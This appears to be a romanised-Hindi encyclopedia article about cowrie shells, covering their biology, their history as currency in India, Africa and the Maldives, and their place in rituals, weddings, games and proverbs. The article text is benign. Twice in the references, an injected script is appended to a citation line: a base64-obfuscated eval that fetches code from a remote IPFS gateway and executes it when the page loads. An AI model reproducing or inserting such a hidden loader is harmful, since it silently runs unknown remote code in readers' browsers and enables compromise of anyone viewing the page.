कौड़ी

thumb|kau diyaan|250px kau di jal mean paye jane vale jiv ka khol (asthi kosh) matr hai. yah upavarg 'prosobraiankiya' (varg 'gaistropoda') ke kee samudri ghoanghoan mean se ek hai, jo vansh 'saipriya' aur kul 'saipriyadi' banate haian. inaka koob danuma mota khol, rangin^[1] aur chamakadar hota hai. inake surakhadar oanth, jo khol ke pahale chakkar mean khulate haian, andar ki taraf mu de hote haian aur inamean mahin daant ho sakate haian. amataur par kabhi-kabhi bolachal ki bhasha mean bhi kau di se sanbandhit muhavare adi ka prayog hota hai, jaise- 'do kau di ka adami' ya 'kau diyoan ke mol' adi. door daraj ke ilakoan mean aj bhi kau diyoan ka mahattv kuchh kam nahian hai.

prapti sthan

kau diyaan mukhyat: hind aur prashant mahasagar ke tatiy jal mean milati haian. 10 se.mi. ki svarnim kau di (si aaureantiyam) paramparagat roop se prashant dvipoan mean rajaoan dvara pahani jati thi aur 2.5 se.mi. pile rang ki prajati ki kau di (si m aauneta) afrika aur any kshetroan mean mudra ka kam karati thi. kau di ka prayog bharat mean chhoti mudra ke roop mean bhi hua.

mudra roop mean prayog

mudra ke roop mean kau di ko hi kyoan chuna gaya, shayad isaki vajah yah hai ki kau di mean ve sare gun vidyaman hote haian, jo ek achchhi mudra mean hone chahie, jaise-

ise asani se ek sthan se dusare sthan par le jaya ja sakata hai.
ye asani se nasht nahian hoti.
inhean ginane mean bhi asani rahati hai.
koee nakali kau di nahian bana sakata.

kau di apani ek khas pahachan bhi rakhati hai, lekin sab prakar ki kau diyoan ka prayog mudra ke roop mean nahian kiya jata. visheshajnoan ke anusar vishv mean 165 kism ki kau diyaan maujood haian. unamean se keval do prakar ki kau diyaan hi mudra ke roop mean chalati thian. pahali thi 'mani kau di' (saipriya moneta) aur doosari 'riang kau di' (saipriya anelas). ye donoan prakar ki kau diyaan chhoti, chikani aur kinare se moti hoti haian. mani kau di pili ya halke pile rang ki hoti haian. lambaee lagabhag ek ianch ke barabar hoti hai. bharat evan eshiya ke kuchh bhagoan mean inhian kau diyoan ka chalan tha. riang kau di ka rang adhik safed nahian hota. isaki pith par narangi rang ka gola hota hai. isi karan isaka nam 'riang kau di' p da. is riang kau di ka chalan eshiyatik dvip mean adhik tha.^[2]

afrika mean kau diyoan ka chalan

afrika mean donoan prakar ki kau diyoan ka chalan tha. aj bhi afrika ke kuchh bhagoan mean kau di ki mudra maujood hai. afrika mean kau diyoan ka chalan sabase pahale arabi vyapariyoan ne phailaya. bad mean yoorop ke vyapariyoan ne isaka labh uthaya. dach, purtagali, freanch evan aangrezoan ne afrika mean tanoan kau diyoan ka ayat karaya. ve in kau diyoan se gulamoan ki kharid karate the. isake atirikt hathi daant evan nariyal ka tel bhi inhian kau diyoan se kharida jata tha. sara vyapar pahale samudr tat tak simit tha, lekin dhire-dhire vyapari aandarooni bhag mean bhi pahuanch ge aur vyapariyoan ke sath kau diyaan bhi.

'mani kau di' aur 'riang kau di' prashaant mahasagar ke garam evan chhichhale kshetr mean bahutayat se payi jati haian. maladiv to "kau diyaan ka dvip" hi kahalata tha. navian shatabdi mean suleman namak arabi vyapari aur dasavian mean shatabdi mean bagadad ke ek masoodi ne kau diyoan ko ikaththa karane ka b da dilachasp varnan kiya hai. unake anusar nariyal ke pattoan se kau diyaan ikaththa ki jati thian. vishv bhar ke vyapari yahaan ate aur mal ke badale kau diyaan le jate. ek anuman ke anusar yahaan se har varsh tis-chalis jahaz kau diyaan bharakar le jate the.

bharat mean ayat

yadi maladiv kau diyoan ko ikaththa karane ka keandr tha to bharat unake vitaran ka keandr tha. eest indiya kampani ke zamane mean bharat mean har varsh chalis hajar pauand ke mooly ki kau diyoan ka ayat kiya jata tha. aj bharat mean kau diyoan ka chalan nahian raha, lekin aj bhi vah samriddhi evan lakshmi ka pratik ban kar logoan ke hriday mean pratishthit hai. jab lakshmi ki pooja hoti hai, tab kau di samane avashy hoti hai. bangal mean lakshmi pooja ke avasar par ek aisi tokari ko pooja jata hai jo sab or se kau diyoan se saji hoti hai. is tokari mean mala, dhaga, kangha, shisha, sindoor, lohe ka k da adi hota hai. is tokari ko 'lokhi jhapa' ya 'lakshmi ki tokari' kahate haian.^[2]

kau di mata ka mandir

bharat mean uttar pradesh ki dharmik nagari varanasi mean ek mandir aisa bhi hai, jahaan prasad ke roop mean kau di chadhati hai aur kau di hi milati hai. ise 'kau di mata ka mandir' kaha jata hai. yahi nahian kau di mata ka snan bhi kau di se hi karaya jata hai. agar mata ko prasann karana hai to rupayoan se kaudi kharidi jati haian unake charanoan mean samarpit karake arshivad paya jata hai. mandir mean hi sthit ek chhoti-si dukan se shraddhalu kau di kharid sakate haian. pas hi mean sthit durga, manas tridev evan sankat mochan mandiroan mean shraddhaluoan ki kafi bhi darahati hai, lekin yahaan par kafi shanti dikhaee deti hai. ikh‍ka-dukh‍ka log hi yahaan darshan karane ke lie ate haian. chooanki yah dakshin ki devi haian, isalie dakshin bharat se ane vale shraddhalu hi adhikaanshat: yahaan par darshan ke lie ate haian. bahari darshanarthi kau di lekar ate haian aur chadhate haian. badale mean prasad svaroop unhean ek kau di di jati hai, jise shraddhalu sukh samriddhi ka pratik manakar apane ghar ke pooja ke sthan par rakhate haian. 'kau di mata' tamil bhasha mean 'mata soiumma' tatha telugoo mean 'gaval amma' ke nam se jani jati haian.

mahattvapoorn tathy

'kau di' ek majaboot mudra hai. isaka sabase b da praman aur kya ho sakata hai ki kau di ke sthan par jab dhatu ke sikke chale to kau di ka astitv samapt nahian hua, balki usake sath-sath chalata raha. kau di se sambandhit kuchh mahattvapoorn tathy is prakar haian-

1930 tak dilli ke gramin kshetroan mean ek paisa solah kau diyoan ke barabar tha.
bangal mean ek rupaya 3840 kau diyoan ke barabar hota tha.
aj se tin char dashak poorv 64 kau diyaan ek paise ke barabar hoti thi.
barma mean 6400 kau diyaan ek tikkal ke barabar hoti thian.
chin mean dhatu ke sikke kau di ki shakl ke banate the. 13vian shatabdi mean marko polo ne chin ke unnan mean aisi hi kau diyoan ka chalan paya tha.
jis prakar dhatu ki mudra mean utar-chadhav ata hai, usi prakar kau di ki mudra mean bhi utar-chadhav ata tha aur vyapari isaka poora-poora labh uthate the. vyapari 'prashaant mahasagar' ke tapuoan se sasti daroan par kau diyaan kharidate aur afrika mean jakar mahange dam par bechate the.^[2]
afrika ke eev janajati ke log apane murdoan ko kau diyoan se bhi dhankate the, taki agar mritak par kisi ka karj ho to vah un kau diyoan mean se uthakar vasool kar lean.
'dipavali' ke avasar par kau di ko kisi ek dipak ke tel mean duba diya jata hai. dipak jalata rahata hai. savadhani is bat ki barati jati hai ki us kau di ko koee n le jaye. aisa samajha jata hai ki jo us kau di ko jeb mean rakh kar jua khelane jata hai, vah jit kar lautata hai.
'dashahara' ke avasar par kanyaean apane ghar ke daravaze ke pas gobar se devi ki pratima banati haian aur use kau diyoan se sajati haian. govardhan pooja ke avasar par bhi gobar se govardhan ki jo moorti banaee jati hai, use bhi kau diyoan se sajaya jata hai.

vaivahik mahattv

vivah ke avasar par bhi kau di ko mahatvapoorn mana jata hai. var-vadhu ke kankan mean kau di baandhi jati hai. mandap ke niche jis patte par var-vadhu baithate haian, us par bhi kau di baandhi jati hai. mandap ke niche kalash mean any vastuoan ke atirikt kau di bhi dali jati hai. desh ke har prant mean kau di ka prayog alag-alag tarike se hota hai. o disha mean vivah ke avasar par vadhu ke mata-pita vadhu ko ek tokari bheant karate haian, jise 'jagathi pedi' kaha jata hai. is tokari mean rojamarra ke kam ane vali hare ek vastu hoti hai, jisamean kau di zaroor hoti hai. aandhr pradesh mean bhi yahi rivaj hai. vahaan is tokari ko 'kavida petate' kaha jata hai.^[2]

khel ke roop mean

chaup d aur chaup d jaise milate-julate kheloan mean pasoan ke sthan par kau diyoan ka prayog hota raha hai, jisaka karan tha pasoan ka manhaga aur durlabh hona.

shrriangar ke roop mean

kau di bharat ke lagabhag sabhi rajyoan mean striyoan mean shrriangar ka sadhan bhi rahi, jaise- gale mean kau diyoan ki mala adi. gharoan mean sajavat ke lie kau di aj bhi istemal ki jati hai.

sankhya ke lie upayog

kau di sankhya ke lie bhi upayog mean laee jati hai. ek kau di mean bis vastuaian mani jati haian. amataur par baans darzan ke bajay ek kau di ke hisab se milate haian.

kahavat

'do kau di ki haisiyat ho jana' (barabad ho jana)
'kau diyoan ke bhav' (bahut sasta )
'door ki kau di lana' (koee achchha sujhav dena)

'kau di' hamare jivan ke pratyek kary-kalap se ju di huee hai. manushy isaki pooja karata hai to isase shrriangar bhi karata hai. isase jua khelata hai to isase aushadhi bhi banata hai. is bat ke praman haian ki adikal mean bhi kau di behad moolyavan evan mahatvapoorn thi aur log ise sahej kar rakhate the. vishv bhar mean jahaan-jahaan bhi aitihasik khudaiyaan huee haian, vahaan kau di avashy mili haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ aksar chittidar
↑ ^2.0 ^2.1 ^2.2 ^2.3 dehat- kau di ki maya (hindi). . abhigaman tithi: 14 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] sar chittidar

[aa-2] 2.0 ^2.1 ^2.2 ^2.3 dehat- kau di ki maya (hindi). . abhigaman tithi: 14 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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